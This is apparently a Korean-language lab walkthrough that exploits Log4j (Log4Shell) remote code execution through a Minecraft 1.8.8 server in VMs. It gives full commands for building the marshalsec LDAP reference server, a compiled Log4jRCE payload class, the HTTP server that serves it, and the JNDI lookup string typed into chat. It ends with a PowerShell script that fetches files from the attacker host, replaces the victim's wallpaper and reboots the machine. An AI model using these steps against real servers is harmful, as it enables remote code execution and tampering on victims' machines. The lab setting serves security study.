0) 환경 구성
•
모든 공격은 VM 에서 진행
•
공격자 : kali-linux-2024.1
•
피해자 : window 10
0.1) 윈도우 초기 세팅
•
Java jdk-8u181-windows-x64.exe
•
java -version 확인
•
마인크래프트 설치
◦
MINECRAFT:JAVA EDITION 구매
◦
1.8.8 버전 설치설정 후 실행
•
◦
eula.txt 정책 동의
▪
eula=true (true로 기본 설정 되어있긴 하지만 확인)
◦
서버구동기.bat 실행
1.
서버 만들기 → 4. 램 4GB로 진행 (램은 적당히 조정해도 됨)
◦
서버 정상실행 확인
•
Server add
◦
Multiplayer → Add server
◦
Server Address 에 host의 IP를 입력하여 서버 연결
•
들어오면 대기
0.2) 칼리 리눅스 세팅
•
VMWare 실행
•
apt 패키지 관리자 업데이트
apt update
Shell
복사
•
java 8 버전 설치 (java, javac 모두 8버전으로 맞춰야한다)
◦
초기에 17버전이 다운되어있음 → apt install openjdk-8-jdk 실행 불가
직접 파일을 다운 받아서 넣어야함
◦
오라클 계정 만들어서 jdk-8u181-linux-x64.tar.gz 다운
cd /usr/lib/jvm
sudo tar -xvzf ~/Download/jdk-8u181-linux-x64.tar.gz
cd jdk1.8.0_181
sudo mousepad /etc/environment
Shell
복사
◦
하이라이트 된 부분 추가
◦
Java 실행파일 우선순위 설정
sudo update-alternatives --config java
sudo update-alternatives --config javac
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 0
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 0
Shell
복사
◦
Java 8 버전을 기본으로 설정
sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
Shell
복사
◦
--config 옵션을 사용하여 버전을 선택할 수도 있음
sudo update-alternatives --config java
sudo update-alternatives --config javac
Shell
복사
해당 화면에서 원하는 버전 선택
◦
Java 버전 확인
java -version
Shell
복사
1.8.0_181 버전 확인
1) JNDI Exploit Server (marshalsec) 실행
1.1) marshalsec git clone
marshalsec 도구는 JNDI 룩업을 통한 공격 시나리오를 구현하고 테스트할 수 있는 기능을 제공
git clone https://github.com/mbechler/marshalsec
cd marshalsec
Shell
복사
1.2) maven 설치 및 빌드
sudo apt-get install maven -y
mvn clean package -DskipTests
Shell
복사
테스트 skip 안 하면 오류난다. skip 해줘야함
빌드완료
1.3) JNDI Exploit Server 실행
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<공격자 ip>:7979/#Log4jRCE"
ex)
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.0.148:7979/#Log4jRCE"
Shell
복사
서버 실행 완료
중요 LDAPRefServer 를 7979로 설정해두었다 공격파일이 있는 경로에서 파이썬으로 웹 서버를 7979 포트에 오픈하고, 마인크래프트에서 1389 포트 + 파일명을 호스팅하면 해당 파일이 실행된다
2) Java Poc (Proof of Concept)
2.1) payload 다운 및 실행
git clone https://github.com/xiajun325/apache-log4j-rce-poc
cd apache-log4j-rce-poc/src/main/java/
ls
cat Log4jRCE.java
Shell
복사
•
페이로드 확인
•
mousepad를 이용하여 페이로드 수정
sudo mousepad Log4jRCE.java
Shell
복사
•
페이로드 수정
public class Log4jRCE {
static {
try{
Runtime.getRuntime().exec("calc.exe").waitFor();
}catch(Exception e){
System.out.println(e);
}
}
}
Shell
복사
•
컴파일 및 클래스파일 확인
javac Log4jRCE.java
ls
Shell
복사
2.2) HTTP 서버 가동
python3 -m http.server 7979
Shell
복사
HTTP Server 홈 디렉터리에는 반드시 컴파일된 클래스파일이 있어야한다
(클래스파일이 있는곳에서 HTTP Server를 키면 된다)
2.3) 공격 진행
•
마인크래프트에서 t 를 눌러 채팅입력
${jndi:ldap://<공격자 ip>:1389/Log4jRCE}
ex)
${jndi:ldap://192.168.0.147:1389/Log4jRCE}
Shell
복사
•
계산기 실행 확인
•
칼리 리눅스에서 Log4j RCE 익스플로잇 성공 확인
마인크래프트를 활용한 Log4j RCE 익스플로잇 성공
$savePath = "$env:USERPROFILE\AppData\Local"
if (-not (Test-Path -Path $savePath)) {
New-Item -ItemType Directory -Path $savePath
}
$imageUrl = "http://192.168.0.147:7979/image2.jpg"
$imagePath = "$savePath\image2.jpg"
$readmeUrl = "http://192.168.0.147:7979/ReadMe.txt"
$readmePath = "$env:USERPROFILE\Desktop\ReadMe.txt"
Invoke-WebRequest -Uri $imageUrl -OutFile $imagePath
Invoke-WebRequest -Uri $readmeUrl -OutFile $readmePath
$registryPath = "HKCU:\Control Panel\Desktop"
$registryValueName = "Wallpaper"
Set-ItemProperty -Path $registryPath -Name $registryValueName -Value $imagePath
Restart-Computer
PowerShell
복사